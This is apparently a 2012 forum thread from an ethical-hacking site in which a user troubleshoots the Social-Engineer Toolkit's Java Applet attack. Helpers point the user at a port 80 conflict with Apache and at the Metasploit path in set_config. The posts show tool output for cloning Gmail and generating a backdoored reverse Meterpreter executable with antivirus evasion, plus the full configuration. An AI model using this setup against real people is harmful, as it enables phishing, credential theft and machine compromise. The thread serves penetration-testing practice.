Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
April 2013 Free Giveaway Sponsor - eLearnSecurity
Human Intelligence to Navigate the Security Data Deluge
February 2013 Free Giveaway Winner of SANS CyberCon Training
Interview: Bugcrowd Founders on Herding Ninjas for Crowdsourced Bug Bounties
Network Forensics: The Tree in the Forest
March 2013 Free Giveaway Sponsor - Mile2
Book Review: Violent Python
February 2013 Free Giveaway Sponsor - SANS
Holiday 2012 Free Giveaway Winner of Metasploit Pro by Rapid7
Course Review: SANS FOR408 Computer Forensic Investigations – Windows In-Depth
The Security Consulting Sugar High
Tutorial: Fun with SMB on the Command Line
Interview: Ilia Kolochenko, CEO of High-Tech Bridge
October 2012 Free Giveaway Winner of LearningGate Training
The Broken: Assessing Corporate Security in 2012 to Make a Better 2013
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 31 guests online
You are here:
Home
Ethical Hacking Discussions and Related Certifications
Social Engineering
SET Error on port 80
EH-Net
May 23, 2013, 04:32:05 AM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: Go back to The Ethical Hacker Network Online Magazine
Home Page
Home
Help
Calendar
Login
Register
EH-Net
>
Ethical Hacking Discussions and Related Certifications
>
Social Engineering
(Moderator:
don
) >
SET Error on port 80
Pages: [
1
]
2
Go Down
« previous
next »
Print
Author
Topic: SET Error on port 80 (Read 9844 times)
0 Members and 1 Guest are viewing this topic.
skorpinok
Newbie
Offline
Posts: 36
SET Error on port 80
«
on:
June 24, 2012, 02:15:07 PM »
Hello
When i run social engineering tool kit i get this error :Something is running on port 80. Seeing if it's a stale SET process.
i used Java Applet Attack Method-Site - site cloner. i restarted SET & still the problem persists,please suggest me how to solve this ?
Thank you
set:payloads> PORT of the listener [443]:
Done, moving the payload into the action.
[-] Targetting of OSX/Linux (POSIX-based) as well. Prepping posix payload...
Stager turned off, prepping direct download payload...
Please note that the SETSHELL and RATTE are not compatible with the powershell injection technique. Disabling the powershell attack.
[!] ERROR:Something is running on port 80. Seeing if it's a stale SET process...
[!] If you want to use Apache, edit the config/set_config
[!] Exit whatever is listening and restart SET
Logged
cd1zz
Hero Member
Offline
Posts: 561
Re: SET Error on port 80
«
Reply #1 on:
June 24, 2012, 03:52:27 PM »
If you're using Backtrack, you probably have apache set to start automatically, which is probably where the conflict is.
netstat -antp will tell you what the problem is.
Logged
OSCE | OSCP | GXPN | OSWP | CISSP
http://www.pwnag3.com
http://www.networkadminsecrets.com
skorpinok
Newbie
Offline
Posts: 36
Re: SET Error on port 80
«
Reply #2 on:
June 24, 2012, 09:24:30 PM »
Quote from: cd1zz on June 24, 2012, 03:52:27 PM
If you're using Backtrack, you probably have apache set to start automatically, which is probably where the conflict is.
netstat -antp will tell you what the problem is.
I'm using backtrack 5r2, a netstat -antp reveals me this,
root@bt:~# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1127/apache2
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 786/postgres
tcp6 0 0 ::1:5432 :::* LISTEN 786/postgres
Logged
Data_Raid
Full Member
Offline
Posts: 165
Re: SET Error on port 80
«
Reply #3 on:
June 25, 2012, 04:42:34 AM »
Quote from: skorpinok on June 24, 2012, 09:24:30 PM
Quote from: cd1zz on June 24, 2012, 03:52:27 PM
If you're using Backtrack, you probably have apache set to start automatically, which is probably where the conflict is.
netstat -antp will tell you what the problem is.
I'm using backtrack 5r2, a netstat -antp reveals me this,
root@bt:~# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:
80
0.0.0.0:* LISTEN 1127/
apache2
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 786/postgres
tcp6 0 0 ::1:5432 :::* LISTEN 786/postgres
Apache is running, I highlighted in bold, that's why SET doesn't load.
Try stopping Apache and see if that helps: "apache2 stop" or "/etc/init.d/apache2 stop"
Logged
All men by nature desire knowledge.
Aristotle
cd1zz
Hero Member
Offline
Posts: 561
Re: SET Error on port 80
«
Reply #4 on:
June 25, 2012, 08:13:41 AM »
Or, just configure SET to use apache in set_config:
# USE APACHE INSTEAD OF STANDARD PYTHON WEB SERVERS, THIS WILL INCREASE SPEED OF
# THE ATTACK VECTOR
APACHE_SERVER=
ON
Logged
OSCE | OSCP | GXPN | OSWP | CISSP
http://www.pwnag3.com
http://www.networkadminsecrets.com
skorpinok
Newbie
Offline
Posts: 36
Re: SET Error on port 80
«
Reply #5 on:
June 25, 2012, 10:56:44 AM »
Quote from: cd1zz on June 25, 2012, 08:13:41 AM
Or, just configure SET to use apache in set_config:
# USE APACHE INSTEAD OF STANDARD PYTHON WEB SERVERS, THIS WILL INCREASE SPEED OF
# THE ATTACK VECTOR
APACHE_SERVER=
ON
Thanks now it works without any problem, did exactly as you said, however , in the mean while iam faced with another problem, metasploit wont load in SET (waited for minutes )when i use java applet attack method,any idea what could be causing this ?
info...
--] Tested on IE6, IE7, IE8, IE9, Safari, Opera, Chrome, and FireFox [--]
[--] Apache web server is currently in use for performance. [--]
Moving payload into cloned website.
The site has been moved. SET Web Server is now listening..
[-] Launching MSF Listener...
[-] This may take a few to load MSF...
Press
[return] when finished.
Thank you
Logged
cd1zz
Hero Member
Offline
Posts: 561
Re: SET Error on port 80
«
Reply #6 on:
June 25, 2012, 11:03:21 AM »
I'm not sure I see where the error is. Double check the set_config that it is pointed to the correct msf directory.
Logged
OSCE | OSCP | GXPN | OSWP | CISSP
http://www.pwnag3.com
http://www.networkadminsecrets.com
skorpinok
Newbie
Offline
Posts: 36
Re: SET Error on port 80
«
Reply #7 on:
June 25, 2012, 01:56:48 PM »
Quote from: cd1zz on June 25, 2012, 11:03:21 AM
I'm not sure I see where the error is. Double check the set_config that it is pointed to the correct msf directory.
Well in set_config previously was default /pentest/exploits/framework3, which i later changed to cd /opt/metasploit/msf3/ after this still same problem, then i located msfconsole through terminal
root@bt:~# locate msfconsole
/opt/metasploit/app/msfconsole
/opt/metasploit/apps/pro/msf3/msfconsole
/opt/metasploit/apps/pro/msf3/test/functional/framework/msfconsole_spec.rb
/opt/metasploit/msf3/msfconsole
/opt/metasploit/msf3/.svn/prop-base/msfconsole.svn-base
/opt/metasploit/msf3/.svn/text-base/msfconsole.svn-base
/opt/metasploit/msf3/documentation/msfconsole_rc_ruby_example.rc
/opt/metasploit/msf3/documentation/.svn/text-base/msfconsole_rc_ruby_example.rc.svn-base
/opt/metasploit/msf3/external/source/armitage/resources/msfconsole.style
/opt/metasploit/msf3/external/source/armitage/resources/.svn/text-base/msfconsole.style.svn-base
/opt/metasploit/msf3/test/functional/framework/msfconsole_spec.rb
/opt/metasploit/msf3/test/functional/framework/.svn/text-base/msfconsole_spec.rb.svn-base
/pentest/exploits/framework2/msfconsole
/pentest/exploits/framework2/docs/QUICKSTART.msfconsole
/usr/local/bin/msfconsole
/usr/share/applications/backtrack-metasploit-msfconsole.desktop
then once again i configure in SET DEFINE THE PATH TO METASPLOIT HERE, FOR EXAMPLE /pentest/exploits/framework3
METASPLOIT_PATH= /pentest/exploits/framework2/msfconsole.
still not working anymore, where could be the problem, i use Backtrack 5R2, metasploit v4.4.0-dev. any ideas ?
Logged
cd1zz
Hero Member
Offline
Posts: 561
Re: SET Error on port 80
«
Reply #8 on:
June 25, 2012, 01:59:30 PM »
Dont point it to the msfconsole binary, point it to the path. It should be
/pentest/exploits/framework3
Logged
OSCE | OSCP | GXPN | OSWP | CISSP
http://www.pwnag3.com
http://www.networkadminsecrets.com
skorpinok
Newbie
Offline
Posts: 36
Re: SET Error on port 80
«
Reply #9 on:
June 25, 2012, 10:13:05 PM »
Quote from: cd1zz on June 25, 2012, 01:59:30 PM
Dont point it to the msfconsole binary, point it to the path. It should be
/pentest/exploits/framework3
ok i changed it to
/pentest/exploits/framework3
its same thing again msf just wont load at all..
here is the brief info.. i go to ...
Website Attack Vectors -> Java Applet Attack Method--> Site Cloner
Are you using NAT/Port Forwarding [yes|no]: no
IP address for the reverse connection:192.168.56.101 (backtrack ip)
Cloning the website:
http://www.gmail.com
This could take a little bit...
Injecting Java Applet attack into the newly cloned website.
Filename obfuscation complete. Payload name is: 84hPykFDDtYIJKx
Malicious java applet website prepped for deployment
What payload do you want to generate: Windows Reverse_TCP Meterpreter
Payload : Backdoored Executable (BEST)
set:payloads> PORT of the listener [443] ( i press enter default)
Generating x64-based powershell injection code...
Generating x86-based powershell injection code...
Finished generating shellcode powershell injection attack and is encoded to bypass execution restriction policys...
[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
Backdoor completed successfully. Payload is now hidden within a legit executable.
UPX Encoding is set to ON, attempting to pack the executable with UPX encoding.
[-] Packing the executable and obfuscating PE file randomly, one moment.
Digital Signature Stealing is ON, hijacking a legit digital certificate
Generating OSX payloads through Metasploit...
Generating Linux payloads through Metasploit...
Apache appears to be running, moving files into Apache's home
***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************
[--] Tested on IE6, IE7, IE8, IE9, Safari, Opera, Chrome, and FireFox [--]
[--] Apache web server is currently in use for performance. [--]
Moving payload into cloned website.
The site has been moved. SET Web Server is now listening..
[-] Launching MSF Listener...
[-] This may take a few to load MSF...
Logged
cd1zz
Hero Member
Offline
Posts: 561
Re: SET Error on port 80
«
Reply #10 on:
June 25, 2012, 10:42:06 PM »
How long are you waiting?
Does metasploit start separately, on it's own?
Logged
OSCE | OSCP | GXPN | OSWP | CISSP
http://www.pwnag3.com
http://www.networkadminsecrets.com
hell_razor
Jr. Member
Offline
Posts: 90
Re: SET Error on port 80
«
Reply #11 on:
June 26, 2012, 07:46:56 AM »
It should be /pentest/exploits/framework (they dropped the 3) or
/opt/metasploit/msf3
Logged
A+, Network+, Server+, CISSP, GSEC, GCIH, GPEN, GCIA, GISP, GCFW
cd1zz
Hero Member
Offline
Posts: 561
Re: SET Error on port 80
«
Reply #12 on:
June 26, 2012, 08:07:11 AM »
Yep, hell_razor is right. I was going off memory. Just checked and they did drop the 3. However, I thought SET threw an error when it used the wrong dir.
Logged
OSCE | OSCP | GXPN | OSWP | CISSP
http://www.pwnag3.com
http://www.networkadminsecrets.com
skorpinok
Newbie
Offline
Posts: 36
Re: SET Error on port 80
«
Reply #13 on:
June 26, 2012, 10:03:03 AM »
Quote from: cd1zz on June 26, 2012, 08:07:11 AM
Yep, hell_razor is right. I was going off memory. Just checked and they did drop the 3. However, I thought SET threw an error when it used the wrong dir.
sorry bro.. i did what mr. razor told tried each one of them /pentest/exploits/framework & /opt/metasploit/msf3, its out of luck, its same again, updated metasploit & SET too before this. well i'll try to reinstall Backtrack 5R2 O.S... guess this would work..
here is the brief info regarding my set_config..
DEFINE THE PATH TO METASPLOIT HERE, FOR EXAMPLE /pentest/exploits/framework3
METASPLOIT_PATH= /opt/metasploit/msf3
METASPLOIT_DATABASE=postgresql
HOW MANY TIMES SET SHOULD ENCODE A PAYLOAD IF YOU ARE USING STANDARD METASPLO
ENCOUNT=4
AUTO_MIGRATE=OFF
BACKDOOR_EXECUTION=ON
METASPLOIT_IFRAME_PORT=8080
DSNIFF=OFF
AUTO_DETECT=OFF
SENDMAIL=ON
EMAIL_PROVIDER=GMAIL
WEBATTACK_EMAIL=ON
APACHE_SERVER=ON
SELF_SIGNED_APPLET=ON
WEBATTACK_SSL=OFF
OSX_REVERSE_PORT=8080
AUTOMATIC_LISTENER=ON
SET_SHELL_STAGER=OFF
METASPLOIT_MODE=ON
Logged
cd1zz
Hero Member
Offline
Posts: 561
Re: SET Error on port 80
«
Reply #14 on:
June 26, 2012, 10:04:37 AM »
I would just grab a fresh copy of both and start there.
Logged
OSCE | OSCP | GXPN | OSWP | CISSP
http://www.pwnag3.com
http://www.networkadminsecrets.com
Pages: [
1
]
2
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009s
=> Ethical Hacktivism
=> News Items and General Discussion About EH-Net
===> Greetings
=> Special Events
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> General Certification
===> Networking
===> OS
===> Security
=> Compliance, Regulations & Standards
=> Control Systems
=> Cyber Warfare
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
===> EnCE - EnCase® Certified Examiner
===> GCFA - GIAC Certified Forensics Analyst
=> Hardware
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Malware
===> Advisories
=> Mobile
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
===> CPTC - Certified Penetration Testing Consultant
===> CPTE - Certified Penetration Testing Engineer
===> CSTA - Certified Security Testing Associate
===> eCPPT - eLearnSecurity Certified Professional Penetration Tester
===> ECSA - EC-Council Certified Security Analyst
===> GPEN - GIAC Certified Penetration Tester
===> OSCP - Offensive Security Certified Professional
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Andress
=> Gates
=> Haddix
=> Hadnagy
=> Heffner
=> Hoffman
=> Linn
=> RichM
=> Murray
=> J. Peltier
=> Weidman
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
===> Feb 2009 - Brady Bunch Boondoggle
===> July 2009 - Prison Break
===> October 2009 - SSHliders
===> December 2009 - Miracle on Thirty-Hack Street
===> December 2010 - The Nightmare Before Charlie Browns Christmas
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
===> Tutorial Requests
Loading...
Exclusive Deal
SANSFIRE 2013
June 15 - 22
5% Off
w/ Code
:
EHN_5
SANS Deals 4 EH-Netters
5% OFF
Any
SANS Course
in Any Format!
Coupon Code:
EHN_5
Including
SANS Rocky Mountain 2013
&
SANS Boston 2013
Polls
Compared to this year, 2013 will be:
Great!
Better.
About the same.
Little worse.
FUBAR!
Recent Forum Topics
Editor-In-Chief
: Special Xmas Deal: 10% Off eLearnSecurity Courses
(3) by
hekvvddtest
Greetings
: Hello
(6) by
hekvvddtest
Greetings
: Obtain The Scoop On mulberry bags Before You Are Too Late
(13) by
hekvvddtest
Calendar Of Events
: HITBSecConf2013 – Amsterdam
(9) by
hekvvddtest
Special Events
: [Article]-Webcast: Deep Dive into Red Teaming with the Metasploit Framework
(19) by
hekvvddtest
Network Pen Testing
: HackaServer - Anyone tried it?
(4) by
hekvvddtest
Greetings
: Good day ...
(7) by
hekvvddtest
Gates
: Chris Gates' Blog RSA Finalist
(5) by
hekvvddtest
Network Pen Testing
: Ruby on Rails Vulnerabilities / Attacks in BackTrack 5 r3
(1) by
hekvvddtest
General Certification
: nth topic on Career Advice
(9) by
hekvvddtest
General Certification
: Direction
(5) by
hekvvddtest
Hardware
: Discreet Hacking Devices
(8) by
hekvvddtest
Calendar Of Events
: CanSecWest 2013
(5) by
hekvvddtest
Forensics
: Burn Note
(5) by
hekvvddtest
Calendar Of Events
: Cyber Readiness Challenge - Rome
(1) by
hekvvddtest
GCIH - GIAC Certified Incident Handler
: GCIH Free Practice test attempt
(0) by
prats84
GCIH - GIAC Certified Incident Handler
: Passed my GCIH
(0) by
prats84
News Items and General Discussion About EH-Net
: Change is Coming to EH-Net!!
(27) by
don
Greetings
: Hi from the UK
(2) by
n37sh@rk
Network Pen Testing
: AIX Vulnerability Assessments
(2) by
ras76
Tutorials
: Need guidance
(9) by
hanyhasan
Programming
: Finished Python Course in Codecademy now what?
(15) by
hanyhasan
Network Pen Testing
: De-ICE 1.140 released!
(2) by
superkojiman
General Certification
: CPT Practical Submission
(1) by
UNIX
OSCP - Offensive Security Certified Professional
: Failed my first attempt at the OSCP exam
(94) by
azmatt
Tools
: Social-Engineer Toolkit (SET) Version 5.0 “The Wild West” Released
(2) by
m0wgli
Malware
: EICAR?
(3) by
UKSecurityGuy
Advisories
: HTB23154: Multiple Vulnerabilities in Exponent CMS
(0) by
AndyP
Advisories
: HTB23153: Multiple Vulnerabilities in Jojo CMS
(0) by
AndyP
Advisories
: HTB23151: Cross-Site Request Forgery (CSRF) in UMI.CMS
(0) by
AndyP
OSCP - Offensive Security Certified Professional
: Class Scheduled 6/8 - Linux n00b
(7) by
Taemyks
OSCP - Offensive Security Certified Professional
: OSCP exam scheduled
(6) by
gbhat
Incident Response
: LinkedIn Forensics
(0) by
AFENTIS_Forensics
General Certification
: Red Team/Blue Team
(1) by
ajohnson
Career Central
: Starter cert?
(3) by
Grendel
Network Pen Testing
: Beginner Ethical Hacker
(1) by
m0wgli
EH-Net News Feeds
Latest Additions
Privacy Notice
for TDCC & All Properties
© 2013 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.